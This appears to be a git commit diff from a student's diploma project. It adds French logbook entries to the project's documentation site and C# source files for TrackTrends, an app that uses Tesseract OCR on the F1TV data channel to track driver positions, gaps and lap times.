<p>Ce qui est compliqué dans ce projet c'est qu'il y a un certain nombres de choses que je ne contrôle pas. En utilisant Tesseract, je me retrouve avec des incompressibles. En imaginant que l'OCR sur une image prenne 300ms, même si j'avais 180 threads capables de faire cette tâche en même temps, le temps de traitement sera toujours d'au moins 300ms. Créer une instance de Tesseract prend également du temps. Ma mission n'est donc pas d'arriver à des temps de quelques dixaines de milisecondes mais plutôt de rajouter le moins de temps possible pendant le traitement et de tenter de faire le plus du choses possible en paralelle.</p>
<p>I</p>
<h2 id="ethique-du-projet">Ethique du projet</h2>
<hr/>
<p>[A remplir à la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)]</p>
@@ -3144,6 +3355,9 @@ Si je vois que un certain nombre est souvent mal reconnu je peux faire exprès d
<hr/>
<p>[A remplir la dernière semaine du travail de diplôme]</p>
<h2 id="notes-de-code">Notes de code</h2>
<hr/>
<h2 id="glossaire">Glossaire</h2>
<hr/>
</article>
</div>
</div>
+67
View File
@@ -327,6 +327,16 @@
Lundi 5 Juin 2023
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#mardi-6-juin-2023">
Mardi 6 Juin 2023
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#mercredi-7-juin">
Mercredi 7 Juin
</a>
</li>
</ul>
</nav>
</li>
@@ -659,6 +669,16 @@
Lundi 5 Juin 2023
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#mardi-6-juin-2023">
Mardi 6 Juin 2023
</a>
</li>
<li class="md-nav__item">
<a class="md-nav__link" href="#mercredi-7-juin">
Mercredi 7 Juin
</a>
</li>
</ul>
</nav>
</div>
@@ -3284,6 +3304,53 @@ Pour detecter un arrêt je pense que la meilleure manière est de regarder si le
</figure>
<p>J'ai essayé de règler le problème en Live, le soucis c'est que j'ai un commentaire à fournir pendant la course et donc je n'ai pas eu le temps de plus me pencher sur le cas. Le weekend du prochain Grand Prix je vais essayer de tester sur les scéances d'essais libres.le click du bouton et j'amenerai mon cable chez moi.</p>
<p>Bon sinon aujourd'hui, comme d'hab, Doc... Je vais faire le manuel utilisateur.</p>
<p>J'ai fait un manuel qui décrit à peu près tout ce qui'il faut savoir pour bien utiliser l'app. Cela fait un document un peu long mais je pense que c'est nescessaire car c'est vraiment pas une app facile à comprendre quand on ne vient pas du milieu de la F1 (et même la...)</p>
<h2 id="mardi-6-juin-2023">Mardi 6 Juin 2023</h2>
<p>Aujourd'hui je vais continuer à documenter... Ma methode pour l'instant c'est juste de remplir les titres que j'ai prévu au départ. Ensuite à partir de jeudi (je pense que c'est à partir de cette date que j'aurai un peu tout rempli) j'aimerais bien relire la grille d'évaluation et ensuite faire une lecture de mon journal de bord pour vérifier que je n'ai rien oublié. Et le but c'est de finir la doc Vendredi soir pour faire une dernière release doc + projet.</p>
<p>Un collègue M.Briard m'a pas mal aidé avec la configuration de mon mkdocs et il a développé une extension pour ajouter le code source au PDF final. La il est en train de regarder si il peut trouver un moyen de faire une table des figures qui nous est demandée. (j'ai plus de 200 images dans ma documentation alors si c'est possible de ne pas avoir à faire une table des figures à la main je prends)</p>
<h2 id="mercredi-7-juin">Mercredi 7 Juin</h2>
<p>La je suis en train de parler de l'optimisation de mon application et je viens de me rappeller qu'il manquait des methodes avec de la paralellisation alors je vais les convertir avant de continuer la doc.</p>
<p>En fait je viens de me rendre compte qu'aucunes de mes methodes de filtres n'étaient en parralel... Je ne sais pas si jaurai le temps de le faire aujourd'hui en fait</p>
<div class="language-Csharp highlight"><pre><span></span><code><span id="__span-39-1"><a href="#__codelineno-39-1" id="__codelineno-39-1" name="__codelineno-39-1"></a><span class="k">public</span><span class="w"> </span><span class="k">static</span><span class="w"> </span><span class="n">Bitmap</span><span class="w"> </span><span class="nf">Grayscale</span><span class="p">(</span><span class="n">Bitmap</span><span class="w"> </span><span class="n">inputBitmap</span><span class="p">)</span><span class="w"></span>
</span><span id="__span-39-2"><a href="#__codelineno-39-2" id="__codelineno-39-2" name="__codelineno-39-2"></a><span class="w"> </span><span class="p">{</span><span class="w"></span>
</span><span id="__span-39-3"><a href="#__codelineno-39-3" id="__codelineno-39-3" name="__codelineno-39-3"></a><span class="w"> </span><span class="n">Rectangle</span><span class="w"> </span><span class="n">rect</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Rectangle</span><span class="p">(</span><span class="m">0</span><span class="p">,</span><span class="w"> </span><span class="m">0</span><span class="p">,</span><span class="w"> </span><span class="n">inputBitmap</span><span class="p">.</span><span class="n">Width</span><span class="p">,</span><span class="w"> </span><span class="n">inputBitmap</span><span class="p">.</span><span class="n">Height</span><span class="p">);</span><span class="w"></span>
</span><span id="__span-39-4"><a href="#__codelineno-39-4" id="__codelineno-39-4" name="__codelineno-39-4"></a><span class="w"> </span><span class="n">BitmapData</span><span class="w"> </span><span class="n">bmpData</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">inputBitmap</span><span class="p">.</span><span class="n">LockBits</span><span class="p">(</span><span class="n">rect</span><span class="p">,</span><span class="w"> </span><span class="n">ImageLockMode</span><span class="p">.</span><span class="n">ReadWrite</span><span class="p">,</span><span class="w"> </span><span class="n">inputBitmap</span><span class="p">.</span><span class="n">PixelFormat</span><span class="p">);</span><span class="w"></span>
</span><span id="__span-39-5"><a href="#__codelineno-39-5" id="__codelineno-39-5" name="__codelineno-39-5"></a><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">bytesPerPixel</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">Bitmap</span><span class="p">.</span><span class="n">GetPixelFormatSize</span><span class="p">(</span><span class="n">inputBitmap</span><span class="p">.</span><span class="n">PixelFormat</span><span class="p">)</span><span class="w"> </span><span class="p">/</span><span class="w"> </span><span class="m">8</span><span class="p">;</span><span class="w"></span>
</span><span id="__span-39-6"><a href="#__codelineno-39-6" id="__codelineno-39-6" name="__codelineno-39-6"></a>
</span><span id="__span-39-7"><a href="#__codelineno-39-7" id="__codelineno-39-7" name="__codelineno-39-7"></a><span class="w"> </span><span class="k">unsafe</span><span class="w"></span>
</span><span id="__span-39-8"><a href="#__codelineno-39-8" id="__codelineno-39-8" name="__codelineno-39-8"></a><span class="w"> </span><span class="p">{</span><span class="w"></span>
</span><span id="__span-39-9"><a href="#__codelineno-39-9" id="__codelineno-39-9" name="__codelineno-39-9"></a><span class="w"> </span><span class="kt">byte</span><span class="p">*</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="p">(</span><span class="kt">byte</span><span class="p">*)</span><span class="n">bmpData</span><span class="p">.</span><span class="n">Scan0</span><span class="p">.</span><span class="n">ToPointer</span><span class="p">();</span><span class="w"></span>
</span><span id="__span-39-10"><a href="#__codelineno-39-10" id="__codelineno-39-10" name="__codelineno-39-10"></a><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">y</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="m">0</span><span class="p">;</span><span class="w"> </span><span class="n">y</span><span class="w"> </span><span class="p">&lt;</span><span class="w"> </span><span class="n">inputBitmap</span><span class="p">.</span><span class="n">Height</span><span class="p">;</span><span class="w"> </span><span class="n">y</span><span class="p">++)</span><span class="w"></span>
</span><span id="__span-39-11"><a href="#__codelineno-39-11" id="__codelineno-39-11" name="__codelineno-39-11"></a><span class="w"> </span><span class="p">{</span><span class="w"></span>
</span><span id="__span-39-12"><a href="#__codelineno-39-12" id="__codelineno-39-12" name="__codelineno-39-12"></a><span class="w"> </span><span class="kt">byte</span><span class="p">*</span><span class="w"> </span><span class="n">currentLine</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="p">+</span><span class="w"> </span><span class="p">(</span><span class="n">y</span><span class="w"> </span><span class="p">*</span><span class="w"> </span><span class="n">bmpData</span><span class="p">.</span><span class="n">Stride</span><span class="p">);</span><span class="w"></span>
</span><span id="__span-39-13"><a href="#__codelineno-39-13" id="__codelineno-39-13" name="__codelineno-39-13"></a><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="m">0</span><span class="p">;</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="p">&lt;</span><span class="w"> </span><span class="n">inputBitmap</span><span class="p">.</span><span class="n">Width</span><span class="p">;</span><span class="w"> </span><span class="n">x</span><span class="p">++)</span><span class="w"></span>
</span><span id="__span-39-14"><a href="#__codelineno-39-14" id="__codelineno-39-14" name="__codelineno-39-14"></a><span class="w"> </span><span class="p">{</span><span class="w"></span>
</span><span id="__span-39-15"><a href="#__codelineno-39-15" id="__codelineno-39-15" name="__codelineno-39-15"></a><span class="w"> </span><span class="kt">byte</span><span class="p">*</span><span class="w"> </span><span class="n">pixel</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">currentLine</span><span class="w"> </span><span class="p">+</span><span class="w"> </span><span class="p">(</span><span class="n">x</span><span class="w"> </span><span class="p">*</span><span class="w"> </span><span class="n">bytesPerPixel</span><span class="p">);</span><span class="w"></span>
</span><span id="__span-39-16"><a href="#__codelineno-39-16" id="__codelineno-39-16" name="__codelineno-39-16"></a>
</span><span id="__span-39-17"><a href="#__codelineno-39-17" id="__codelineno-39-17" name="__codelineno-39-17"></a><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="n">blue</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">pixel</span><span class="p">[</span><span class="m">0</span><span class="p">];</span><span class="w"></span>
</span><span id="__span-39-18"><a href="#__codelineno-39-18" id="__codelineno-39-18" name="__codelineno-39-18"></a><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="n">green</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">pixel</span><span class="p">[</span><span class="m">1</span><span class="p">];</span><span class="w"></span>
</span><span id="__span-39-19"><a href="#__codelineno-39-19" id="__codelineno-39-19" name="__codelineno-39-19"></a><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="n">red</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">pixel</span><span class="p">[</span><span class="m">2</span><span class="p">];</span><span class="w"></span>
</span><span id="__span-39-20"><a href="#__codelineno-39-20" id="__codelineno-39-20" name="__codelineno-39-20"></a>
</span><span id="__span-39-21"><a href="#__codelineno-39-21" id="__codelineno-39-21" name="__codelineno-39-21"></a><span class="w"> </span><span class="c1">//Those a specific values to correct the weights so its more pleasing to the human eye</span>
</span><span id="__span-39-22"><a href="#__codelineno-39-22" id="__codelineno-39-22" name="__codelineno-39-22"></a><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">gray</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="p">)(</span><span class="n">red</span><span class="w"> </span><span class="p">*</span><span class="w"> </span><span class="m">0.3</span><span class="w"> </span><span class="p">+</span><span class="w"> </span><span class="n">green</span><span class="w"> </span><span class="p">*</span><span class="w"> </span><span class="m">0.59</span><span class="w"> </span><span class="p">+</span><span class="w"> </span><span class="n">blue</span><span class="w"> </span><span class="p">*</span><span class="w"> </span><span class="m">0.11</span><span class="p">);</span><span class="w"></span>
</span><span id="__span-39-23"><a href="#__codelineno-39-23" id="__codelineno-39-23" name="__codelineno-39-23"></a>
</span><span id="__span-39-24"><a href="#__codelineno-39-24" id="__codelineno-39-24" name="__codelineno-39-24"></a><span class="w"> </span><span class="c1">//This is not a proper treshold method but it is helping the sobel edge detection</span>
</span><span id="__span-39-25"><a href="#__codelineno-39-25" id="__codelineno-39-25" name="__codelineno-39-25"></a><span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">gray</span><span class="w"> </span><span class="p">&lt;=</span><span class="w"> </span><span class="n">F1TV_BACKGROUND_TRESHOLD</span><span class="p">.</span><span class="n">R</span><span class="p">)</span><span class="w"></span>
</span><span id="__span-39-26"><a href="#__codelineno-39-26" id="__codelineno-39-26" name="__codelineno-39-26"></a><span class="w"> </span><span class="p">{</span><span class="w"></span>
</span><span id="__span-39-27"><a href="#__codelineno-39-27" id="__codelineno-39-27" name="__codelineno-39-27"></a><span class="w"> </span><span class="n">pixel</span><span class="p">[</span><span class="m">0</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">pixel</span><span class="p">[</span><span class="m">1</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">pixel</span><span class="p">[</span><span class="m">2</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="m">0</span><span class="p">;</span><span class="w"></span>
</span><span id="__span-39-28"><a href="#__codelineno-39-28" id="__codelineno-39-28" name="__codelineno-39-28"></a><span class="w"> </span><span class="p">}</span><span class="w"></span>
</span><span id="__span-39-29"><a href="#__codelineno-39-29" id="__codelineno-39-29" name="__codelineno-39-29"></a><span class="w"> </span><span class="k">else</span><span class="w"></span>
</span><span id="__span-39-30"><a href="#__codelineno-39-30" id="__codelineno-39-30" name="__codelineno-39-30"></a><span class="w"> </span><span class="p">{</span><span class="w"></span>
</span><span id="__span-39-31"><a href="#__codelineno-39-31" id="__codelineno-39-31" name="__codelineno-39-31"></a><span class="w"> </span><span class="n">pixel</span><span class="p">[</span><span class="m">0</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">pixel</span><span class="p">[</span><span class="m">1</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="n">pixel</span><span class="p">[</span><span class="m">2</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="p">(</span><span class="kt">byte</span><span class="p">)</span><span class="n">gray</span><span class="p">;</span><span class="w"></span>
</span><span id="__span-39-32"><a href="#__codelineno-39-32" id="__codelineno-39-32" name="__codelineno-39-32"></a><span class="w"> </span><span class="p">}</span><span class="w"></span>
</span><span id="__span-39-33"><a href="#__codelineno-39-33" id="__codelineno-39-33" name="__codelineno-39-33"></a><span class="w"> </span><span class="p">}</span><span class="w"></span>
</span><span id="__span-39-34"><a href="#__codelineno-39-34" id="__codelineno-39-34" name="__codelineno-39-34"></a><span class="w"> </span><span class="p">}</span><span class="w"></span>
</span><span id="__span-39-35"><a href="#__codelineno-39-35" id="__codelineno-39-35" name="__codelineno-39-35"></a><span class="w"> </span><span class="p">}</span><span class="w"></span>
</span><span id="__span-39-36"><a href="#__codelineno-39-36" id="__codelineno-39-36" name="__codelineno-39-36"></a><span class="w"> </span><span class="n">inputBitmap</span><span class="p">.</span><span class="n">UnlockBits</span><span class="p">(</span><span class="n">bmpData</span><span class="p">);</span><span class="w"></span>
</span><span id="__span-39-37"><a href="#__codelineno-39-37" id="__codelineno-39-37" name="__codelineno-39-37"></a>
</span><span id="__span-39-38"><a href="#__codelineno-39-38" id="__codelineno-39-38" name="__codelineno-39-38"></a><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">inputBitmap</span><span class="p">;</span><span class="w"></span>
</span><span id="__span-39-39"><a href="#__codelineno-39-39" id="__codelineno-39-39" name="__codelineno-39-39"></a><span class="w"> </span><span class="p">}</span><span class="w"></span>
</span></code></pre></div>
</article>
</div>
</div>
+18472 -16696
View File
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
+266
View File
@@ -0,0 +1,266 @@
# ConfigurationTool.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : ConfigurationTool.cs
/// Brief : Class that contains all the methods used to create config files for the main programm
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Tesseract;
using System.IO;
using System.Text.Json;
using System.Text.Json.Nodes;
namespace TrackTrends
{
public class ConfigurationTool
{
public Zone MainZone;
public const int NUMBER_OF_DRIVERS = 20;
public const int NUMBER_OF_ZONES = 9;
public const string CONFIGS_FOLDER_NAME = "./Presets/";
/// <summary>
/// Creates the configuration tool. It can only be created if you already have the dimensions of the main zone
/// </summary>
/// <param name="fullImage">The full image coming from the F1TV Data Channel</param>
/// <param name="mainZoneDimensions">The dimensions of the zone where all the drivers data are situated</param>
public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions)
{
MainZone = new Zone(fullImage, mainZoneDimensions,"Main");
AutoCalibrate();
}
/// <summary>
/// Resets the main zone
/// </summary>
public void ResetMainZone()
{
MainZone.ResetZones();
}
/// <summary>
/// Reset the windows
/// </summary>
public void ResetWindows()
{
MainZone.ResetWindows();
}
/// <summary>
/// Save the current config in a JSON file stored in /Presets/
/// </summary>
/// <param name="drivers">A list of all the drivers in the GP. IMPORTANT, they need to ALL be mentionned or the program wont be able to detect the missing ones and will F up everything</param>
/// <param name="configName">The name the config should have</param>
public void SaveToJson(List<string> drivers, string configName)
{
string JSON = "";
JsonObject jsonFileObject = new JsonObject();
//Creates the mainZone object
JsonObject mainZoneObject = new JsonObject();
mainZoneObject.Add("x",MainZone.Bounds.X);
mainZoneObject.Add("y",MainZone.Bounds.Y);
mainZoneObject.Add("width",MainZone.Bounds.Width);
mainZoneObject.Add("height",MainZone.Bounds.Height);
JsonArray driverZonesArray = new JsonArray();
//Creates all the subzones that contain driver infos
int DriverID = 0;
foreach (Zone driverZone in MainZone.Zones)
{
DriverID++;
JsonObject driverZoneObject = new JsonObject();
driverZoneObject.Add("name","Driver"+DriverID);
driverZoneObject.Add("x", driverZone.Bounds.X);
driverZoneObject.Add("y", driverZone.Bounds.Y);
driverZoneObject.Add("width", driverZone.Bounds.Width);
driverZoneObject.Add("height", driverZone.Bounds.Height);
JsonArray windowsArray = new JsonArray();
JsonObject windowObject = new JsonObject();
//Creates all the windows of the current driver zone
//Note : We store ALL the windows and zones in the JSON because they are not spaced exactly the same on the main zone
foreach (Window window in driverZone.Windows)
{
windowObject.Add(window.Name, new JsonObject {
{ "x", window.Bounds.X },
{ "y", window.Bounds.Y },
{ "width", window.Bounds.Width },
{ "height", window.Bounds.Height }
});
}
windowsArray.Add(windowObject);
driverZoneObject.Add("Windows",windowsArray);
driverZonesArray.Add(driverZoneObject);
}
mainZoneObject.Add("DriverZones",driverZonesArray);
JsonArray driversArray = new JsonArray();
foreach (string driver in drivers)
{
driversArray.Add(driver);
}
mainZoneObject.Add("Drivers",driversArray);
jsonFileObject.Add("Main",mainZoneObject);
JSON = jsonFileObject.ToString();
//Saving the file
string path = CONFIGS_FOLDER_NAME + configName;
if (File.Exists(path + ".json"))
{
//We need to create a new name
int count = 2;
while (File.Exists(path + "_" + count + ".json"))
{
count++;
}
path += "_" + count + ".json";
}
else
{
path += ".json";
}
File.WriteAllText(path, JSON);
}
/// <summary>
/// Adds a window in the windows list
/// Be carefull of the order. It cant be random or it will crash. The programm expect the first to be position, second Gap to leader etc...
/// </summary>
/// <param name="rectangles">The bounds of the window</param>
public void AddWindows(List<Rectangle> rectangles)
{
foreach (Zone driverZone in MainZone.Zones)
{
Bitmap zoneImage = driverZone.ZoneImage;
for (int i = 1; i <= rectangles.Count; i++)
{
switch (i)
{
case 1:
//First zone should be the driver's Position
driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false));
break;
case 2:
//Second zone should be the Gap to leader
driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false));
break;
case 3:
//Third zone should be the driver's Lap Time
driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false));
break;
case 4:
//Fourth zone should be the driver's DRS status
driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false));
break;
case 5:
//Fifth zone should be the driver's Tyre's informations
driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false));
break;
case 6:
//Sixth zone should be the driver's Name
driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false));
break;
case 7:
//Seventh zone should be the driver's First Sector
driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false));
break;
case 8:
//Zone number eight should be the driver's Second Sector
driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false));
break;
case 9:
//Zone number nine should be the driver's Position Sector
driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false));
break;
}
}
}
}
/// <summary>
/// This will automatically create all the driver zones at the correct places if the main zone has been weel positionned
/// You cant just divide the image by the number of pilots or it will be messy and inconsistent at the end (Garbage in Garbage Out)
/// </summary>
public void AutoCalibrate()
{
List<Rectangle> detectedText = new List<Rectangle>();
List<Zone> zones = new List<Zone>();
TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
Image image = MainZone.ZoneImage;
var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
Page page = engine.Process(tessImage);
//Runs a quick OCR detection. Not to detect any content but just to detect where is all the text positionned.
//For each row it decides the best Zone location and adds it to the Driver zone list
using (var iter = page.GetIterator())
{
iter.Begin();
do
{
Rect boundingBox;
if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
{
//We remove all the rectangles that are definitely too big
if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS)
{
//Now we add a filter to only get the boxes in the right because they are much more reliable in size
if (boundingBox.X1 > image.Width / 2)
{
//Now we check if an other square box has been found roughly in the same y axis
bool match = false;
//The tolerance is roughly half the size that a window will be
int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2;
foreach (Rectangle rect in detectedText)
{
if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
{
//There already is a rectangle in this line
match = true;
}
}
//if nothing matched we can add it
if (!match)
detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
}
}
}
} while (iter.Next(PageIteratorLevel.Word));
}
//DEBUG
int i = 1;
foreach (Rectangle Rectangle in detectedText)
{
Rectangle windowRectangle;
Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
windowRectangle = new Rectangle(windowLocation, windowSize);
//We add the driver zones
Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, "DriverZone");
MainZone.AddZone(driverZone);
//driverZone.ZoneImage.Save("Driver" + i+".png");
i++;
}
}
}
}
```
+384
View File
@@ -0,0 +1,384 @@
# DataWrapper.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : DataWrapper.cs
/// Brief : Class that is used to interface between the main Form (vue) and the Storage (wich is a class that wraps the sqlite database, so the model) its almost MVC :D
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Drawing;
namespace TrackTrends
{
internal class DataWrapper
{
private Reader Reader;
private SqliteStorage Storage;
List<List<DriverData>> LiveDriverDataLogs = new List<List<DriverData>>();
//Note : It could be usefull to get the mainForm at the start of the programm and not have to take it in half of the methods.
/// <summary>
/// Constructs a new DataWrapper. It needs the config file so it can create a Reader, It also needs a first screenshot for the same reason
/// </summary>
/// <param name="configFile">The JSON config file that is created by the configuration tool</param>
/// <param name="screenshot">A screenshot of the </param>
public DataWrapper(string configFile, Bitmap screenshot)
{
Reader = new Reader(configFile, screenshot, true);
//The Storage is here and on the Reader. It seems bad but it is ok as we dont use it at all to insert data and are only using it here to read some. The reader takes care of the inserts (Note: We could technically do both here but I did not find it usefull to transfer everything here)
Storage = Reader.Storage;
}
/// <summary>
/// Refreshes the controller so it has the latest driver datas (Be sure to call it everytime you need to use any other method and expects the data to be up to date)
/// </summary>
/// <returns>Error code, 0 is success, 1 is not (Note: Maybe it could be interesting in the future to add some more error handling here)</returns>
public int Refresh()
{
LiveDriverDataLogs.Add(Reader.Decode(Reader.MainZones, Reader.Drivers));
if (LiveDriverDataLogs.Count > 0)
return 0;
return 1;
}
/// <summary>
/// Changes the image to the newest screenshot in all of the zones and windows
/// </summary>
/// <param name="image">The new screenshot to put everywhere (Do not mix resolutions)</param>
public void ChangeImage(Bitmap image)
{
Reader.ChangeImage(image);
}
/// <summary>
/// Gets all the data from one driver and also displays into the given panel the last five laps (or less if its the sart of the race) Note: Its responsive :D
/// </summary>
/// <param name="driverName">The name of the driver (should not be case sensitive but it MUST already exist in the first list that has been inserted into the DB)</param>
/// <param name="lastFiveLapsPanel">The pannel where you want the five last laps to be displayed</param>
/// <param name="form1">The Main form.</param>
/// <returns></returns>
public DriverData GetFullDriverData(string driverName, Panel lastFiveLapsPanel, Main form1)
{
//Note : I know that its a bad idea to ask the Form in this method and some others because it means that it wont work with any main form. And to that Ill say that... your right !
DriverData result = new DriverData();
if (LiveDriverDataLogs.Count > 0)
{
//Searches the most recent live data from the given driverName
foreach (DriverData data in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1])
{
if (data.Name == driverName)
result = data;
}
if (result.Name != "")
{
//Recovers and displays the last five laps from the driver
lastFiveLapsPanel.Controls.Clear();
Size labelDimensions = new Size(lastFiveLapsPanel.Width, lastFiveLapsPanel.Height / 5);
List<(int LapTime, int Lap)> lapsInfos = Storage.GetDriverLaptimes(driverName, 5);
int id = 0;
foreach ((int LapTime, int Lap) lapData in lapsInfos)
{
//Hardcodes the new button.
//Note : It could be smart to have like a default button for all the methods to use without needing to rewrite everything.
Button newButton = new Button();
lastFiveLapsPanel.Controls.Add(newButton);
newButton.Name = driverName + "_" + lapData.Lap;
newButton.Text = Reader.ConvertMsToTime(lapData.LapTime);
newButton.Size = labelDimensions;
newButton.FlatStyle = FlatStyle.Popup;
newButton.Click += form1.btnLapTime_Click;
newButton.Location = new Point(0, id * newButton.Height);
id++;
}
}
}
return result;
}
/// <summary>
/// Runs trough every drivers live data to recover the drivers that are close to each others
/// </summary>
/// <param name="pnlBattles">The control that will host the displayed battles</param>
/// <param name="form1">The main form. It needs to have a method called 'btnDriver_Click' so it can reads the buttons clicks</param>
public void DisplayBattles(Panel pnlBattles,Main form1)
{
DriverData oldDriver = null;
List<(DriverData d1, DriverData d2, int gap)> battles = new List<(DriverData d1, DriverData d2, int gap)>();
//Search trough all the drivers and finds the one battling
foreach (DriverData driver in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1])
{
if (oldDriver != null && driver.Position != -1 && oldDriver.Position != -1)
{
if (driver.GapToLeader < oldDriver.GapToLeader)
{
//There is a problem with the drivers gaps
}
else
{
int gap = driver.GapToLeader - oldDriver.GapToLeader;
//3000ms is 3s. If drivers are that close then they are definitely in battle. If they are farther then maybe not
if (gap <= 3000)
{
battles.Add((oldDriver, driver, gap));
}
}
oldDriver = driver;
}
else
{
oldDriver = driver;
}
}
//We will only display 4 battles max
int maxBattles = 4;
if (battles.Count > 0)
{
pnlBattles.Controls.Clear();
int maxUiHeight = Math.Max(pnlBattles.Height / maxBattles, pnlBattles.Height / battles.Count);
int id = 0;
foreach ((DriverData d1, DriverData d2, int gap) battle in battles)
{
if(id < maxBattles)
{
//*hardcoding* the different controls that needs to be added to the panel.
//Note : this stuff could totally be handled by the Form with method returning a list of the drivers. It was just easier for me at the time to code it this way but its not the prettiest
Button btnFirstDriver = new Button();
Button btnSecondDriver = new Button();
Label lblGap = new Label();
pnlBattles.Controls.Add(btnFirstDriver);
pnlBattles.Controls.Add(lblGap);
pnlBattles.Controls.Add(btnSecondDriver);
btnFirstDriver.Anchor = AnchorStyles.Left | AnchorStyles.Top;
btnSecondDriver.Anchor = AnchorStyles.Right | AnchorStyles.Top;
lblGap.Anchor = AnchorStyles.Right | AnchorStyles.Left | AnchorStyles.Top;
lblGap.TextAlign = ContentAlignment.MiddleCenter;
lblGap.Font = new Font(lblGap.Font.FontFamily, 15);
btnFirstDriver.Click += form1.btnDriver_Click;
btnSecondDriver.Click += form1.btnDriver_Click;
btnFirstDriver.FlatStyle = FlatStyle.Popup;
btnSecondDriver.FlatStyle = FlatStyle.Popup;
lblGap.FlatStyle = FlatStyle.Popup;
btnFirstDriver.Size = new Size(pnlBattles.Width / 3, maxUiHeight);
btnSecondDriver.Size = new Size(pnlBattles.Width / 3, maxUiHeight);
lblGap.Size = new Size(pnlBattles.Width / 3, maxUiHeight);
btnFirstDriver.Location = new Point(pnlBattles.Width / 3 * 0, id * maxUiHeight);
lblGap.Location = new Point(pnlBattles.Width / 3 * 1, id * maxUiHeight);
btnSecondDriver.Location = new Point(pnlBattles.Width / 3 * 2, id * maxUiHeight);
btnFirstDriver.Text = battle.d1.Name;
lblGap.Text = "+ " + Reader.ConvertMsToTime(battle.gap);
if (battle.gap <= 2000)
lblGap.ForeColor = Color.Yellow;
if (battle.gap <= 1000)
lblGap.ForeColor = Color.Green;
btnSecondDriver.Text = battle.d2.Name;
btnFirstDriver.Name = battle.d1.Name + "_" + id;
lblGap.Name = "lbl_Gap_" + id;
btnSecondDriver.Name = battle.d2.Name + "_" + id;
}
else
{
break;
}
id++;
}
}
}
/// <summary>
/// Searches the fastest and slowests drivers and displays them in the given panels
/// </summary>
/// <param name="pnlFastest">Panel that will contain the constructed controls</param>
/// <param name="pnlSlowest">Panel that will contain the constructed controls</param>
/// <param name="form1">The main form that needs to implement the method btnDriver_Click to allow it to recover custom buttons click</param>
public void DisplayTimesDeltas(Panel pnlFastest,Panel pnlSlowest, Main form1)
{
